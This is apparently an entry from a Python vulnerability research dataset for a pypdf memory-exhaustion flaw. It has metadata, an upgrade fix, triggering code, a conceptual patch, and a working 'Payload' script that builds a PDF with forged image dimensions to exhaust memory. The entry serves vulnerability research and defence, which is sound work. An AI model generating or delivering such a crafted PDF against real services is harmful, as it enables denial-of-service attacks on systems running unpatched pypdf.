VAITP Dataset

← Back to the dataset

CVE-2026-59938

pypdf: Crafted PDF with large image sizes can cause memory exhaustion.

  • CVSS 6.9
  • CWE-789
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to 6.14.0, an attacker can craft a PDF with declared image size values that are much too large compared to the actual data, causing large memory usage in pypdf image parsing. This issue is fixed in version 6.14.0.

CVSS base score
6.9
Published
2026-07-08
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade pypdf to version 6.14.0 or later.

Vulnerable code sample

from pypdf import PdfReader

# This code would be run against a pypdf version < 6.14.0
# and a specially crafted 'malicious.pdf' file.

reader = PdfReader("malicious.pdf")
for page in reader.pages:
    # The vulnerability is triggered when the library internally processes
    # the image object, attempting to allocate memory based on the
    # fraudulent dimensions declared in the 'malicious.pdf'.
    # Simply iterating and accessing the image object is sufficient.
    for image_file_object in page.images:
        # Explicitly accessing the .data property ensures the parsing and
        # memory allocation attempt occurs. This would raise a MemoryError
        # or cause the system to hang due to excessive memory usage.
        _ = image_file_object.data

Patched code sample

import math

# This code is a conceptual representation of the fix logic for a vulnerability
# like the one described. It is not the literal source code from the pypdf library.
# The core of the fix is to validate the declared image size against the
# actual data length *before* attempting to allocate a large memory buffer.

# A reasonable upper bound for a single image's memory to prevent extreme allocations
MAX_IMAGE_MEMORY_BYTES = 1 * 1024 * 1024 * 1024  # 1 GB

def check_image_size_before_parsing(width, height, bits_per_component, actual_data_length):
    """
    Represents the logic of the fix.

    It checks if the declared image dimensions would require more memory than
    is available in the data stream or would exceed a pre-configured safety limit.
    A vulnerable version would skip these checks and proceed directly to allocation.
    """
    if width <= 0 or height <= 0:
        raise ValueError("Image dimensions must be positive.")

    # Calculate the declared size in bytes. This is a simplified calculation.
    # Real-world PDF image parsing is more complex due to color spaces.
    bytes_per_pixel = math.ceil(bits_per_component / 8)

    # Check for potential integer overflow before the multiplication
    if width > 0 and height > (MAX_IMAGE_MEMORY_BYTES // width // bytes_per_pixel):
         raise MemoryError(
            f"Declared image dimensions {width}x{height} are too large and would "
            "exceed system limits."
         )
    declared_size_bytes = width * height * bytes_per_pixel

    # --- THE FIX LOGIC ---

    # 1. Check if the declared size exceeds a reasonable hard-coded limit.
    if declared_size_bytes > MAX_IMAGE_MEMORY_BYTES:
        raise MemoryError(
            f"Declared image size ({declared_size_bytes} bytes) exceeds the "
            f"maximum allowed size ({MAX_IMAGE_MEMORY_BYTES} bytes)."
        )

    # 2. Check if the declared size is larger than the actual data provided.
    if declared_size_bytes > actual_data_length:
        raise ValueError(
            f"Declared image size ({declared_size_bytes} bytes) is larger than "
            f"the actual data stream provided ({actual_data_length} bytes). "
            "This may indicate a malformed or malicious file."
        )

    # --- END OF FIX LOGIC ---

    # If all checks pass, it is now safe to allocate memory for the image.
    # print(f"Checks passed: Safe to allocate {declared_size_bytes} bytes.")

Payload

import zlib
from pypdf import PdfWriter
from pypdf.generic import (
    NameObject,
    NumberObject,
    DictionaryObject,
    StreamObject,
)
from pypdf.constants import PageAttributes as PG

# This script generates a PDF file ('cve_2026_59938_payload.pdf') that
# exploits a memory exhaustion vulnerability in pypdf < 6.14.0.
# The PDF contains an image object with a declared size that is maliciously large,
# while the actual image data in the stream is very small. When a vulnerable
# version of pypdf parses this image, it attempts to allocate a huge amount of
# memory based on the declared dimensions, leading to a Denial of Service.

# 1. Setup PDF writer and add a blank page
writer = PdfWriter()
page = writer.add_blank_page(width=612, height=792)

# 2. Define maliciously large dimensions for the image.
# A 65535x65535 8-bit grayscale image would require pypdf to attempt
# to allocate approximately 65535 * 65535 = ~4.29 GB of memory.
MALICIOUS_WIDTH = 65535
MALICIOUS_HEIGHT = 65535

# 3. Create the image XObject stream with the fake dimensions.
# The actual stream data is minimal (e.g., a single compressed black pixel).
img_data = zlib.compress(b"\x00")
img_stream = StreamObject()
img_stream._data = img_data

# Set the image metadata dictionary with the large, fake dimensions.
img_stream[NameObject("/Type")] = NameObject("/XObject")
img_stream[NameObject("/Subtype")] = NameObject("/Image")
img_stream[NameObject("/Width")] = NumberObject(MALICIOUS_WIDTH)
img_stream[NameObject("/Height")] = NumberObject(MALICIOUS_HEIGHT)
img_stream[NameObject("/ColorSpace")] = NameObject("/DeviceGray")
img_stream[NameObject("/BitsPerComponent")] = NumberObject(8)
img_stream[NameObject("/Filter")] = NameObject("/FlateDecode")

# 4. Add the image object to the PDF's object list.
img_ref = writer._add_object(img_stream)

# 5. Add the image to the page's resources dictionary so it can be referenced.
if PG.RESOURCES not in page:
    page[NameObject(PG.RESOURCES)] = DictionaryObject()
resources = page[NameObject(PG.RESOURCES)]
if NameObject("/XObject") not in resources:
    resources[NameObject("/XObject")] = DictionaryObject()
resources[NameObject("/XObject")][NameObject("/Im0")] = img_ref

# 6. Create a page content stream that draws the image.
# This ensures a PDF parser will process the malicious image resource.
content_stream_data = b"q 500 0 0 500 50 50 cm /Im0 Do Q"
content_stream = StreamObject()
content_stream._data = content_stream_data
content_ref = writer._add_object(content_stream)
page[NameObject(PG.CONTENTS)] = content_ref

# 7. Write the malicious PDF to a file.
with open("cve_2026_59938_payload.pdf", "wb") as f:
    writer.write(f)

Cite this entry

@misc{vaitp:cve202659938,
  title        = {{pypdf: Crafted PDF with large image sizes can cause memory exhaustion.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-59938},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59938/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::